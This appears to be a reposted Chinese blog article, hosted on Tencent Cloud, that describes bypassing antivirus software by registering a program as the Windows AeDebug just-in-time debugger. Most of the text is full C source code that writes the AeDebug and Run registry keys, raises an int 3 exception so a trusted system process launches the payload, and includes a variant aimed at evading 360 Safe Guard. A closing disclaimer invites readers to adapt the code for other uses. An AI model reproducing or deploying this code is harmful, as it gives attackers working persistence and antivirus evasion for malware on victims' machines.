前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >我洗个澡就绕过了杀软的防护

我洗个澡就绕过了杀软的防护

作者头像
网e渗透安全部
发布2021-10-20 11:41:20
3680
发布2021-10-20 11:41:20
举报
文章被收录于专栏:白安全组白安全组

近期没有时间写文章,只能转发一下大佬的文章

以下文章摘自看雪论坛

2021年4月23日 晴。 结束了这一天的工作,回到酒店准备洗完澡朋友朋友搓两把war3。 洗澡的过程中,蹦出了一个想法:如何优雅简洁地把自身进程变为杀软可信的进程呢? 一直想到洗完澡,突然想到:父进程如果是系统进程比如services.exe csrss.exe之类的不就好了。灵光一闪:即时调试器!如果设置了即时调试器,当程序发生异常后不就会自行启动了!!! 当即我就鸽了朋友开始新建项目。 写好的恶意程序设置为即时调试器时,然后添加自启动。 果然杀软没拦截,而且最顶级的父进程居然是wininit.exe

原理

将恶意进程设为即时调试器,随后触发异常,恶意程序运行。

源码

#include<Windows.h>

#include<Winerror.h>

#include"tlhelp32.h"

#include<stdio.h>

#pragma warning(disable:4996)

int pass360 = true;

int SetAeDebug()

{

HKEY key = { 0 };

DWORD res = 0;

char CurrentPath[MAX_PATH] = { 0 };

char Shell[MAX_PATH] = { 0 };

char* Debuger = NULL;

GetModuleFileNameA(0, CurrentPath, MAX_PATH);

//%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx

Debuger = CurrentPath;

//360联网的话需要这样做

if (pass360)

{

sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);

Debuger = Shell;

}

else

{

strncat(CurrentPath, " -cmd %ld", 10);

}

res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);

if (!res)

{

res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);

if (!res)

{

res = strnlen(Debuger, MAX_PATH);

res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);

res = res == 0;

}

RegCloseKey(key);

}

return res;

}

int SetAutoRun()

{

HKEY key = { 0 };

DWORD res = 0;

char CurrentPath[MAX_PATH] = { 0 };

GetModuleFileNameA(0, CurrentPath, MAX_PATH);

res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);

if (!res)

{

strncat(CurrentPath, " -AutoRun", 9);

res = strnlen(CurrentPath, MAX_PATH);

res = RegSetValueExA(key, "wowfk", 0, REG_SZ, (CONST BYTE*)CurrentPath, res);

res = res == 0;

RegCloseKey(key);

}

return res;

}

int KillExceptProcess(char* strPid)

{

int pid = 0;

pid = atoi(strPid);

int res = 0;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);

if (hProcess)

{

res=TerminateProcess(hProcess, 0);

CloseHandle(hProcess);

}

return res;

}

int main(int argc,char* argv[])

{

if (argc==1 && SetAeDebug()==1)

{

MessageBoxA(0, "See", "Done", 0);

_asm int 3

}

else if(argc==3 && !pass360)

{

//防止二次执行

if (KillExceptProcess(argv[2]))

{

if (SetAutoRun() == 1)

{

MessageBoxA(0, "AddAutoRunDone", "AutoRun", 0);

}

}

}

}

测试结果

360安全卫士

推卸责任和一些废话

源码仅供学习,不要用做其他用途。 其他用途请自行删删改改。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 源码
  • 测试结果
  • 推卸责任和一些废话
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档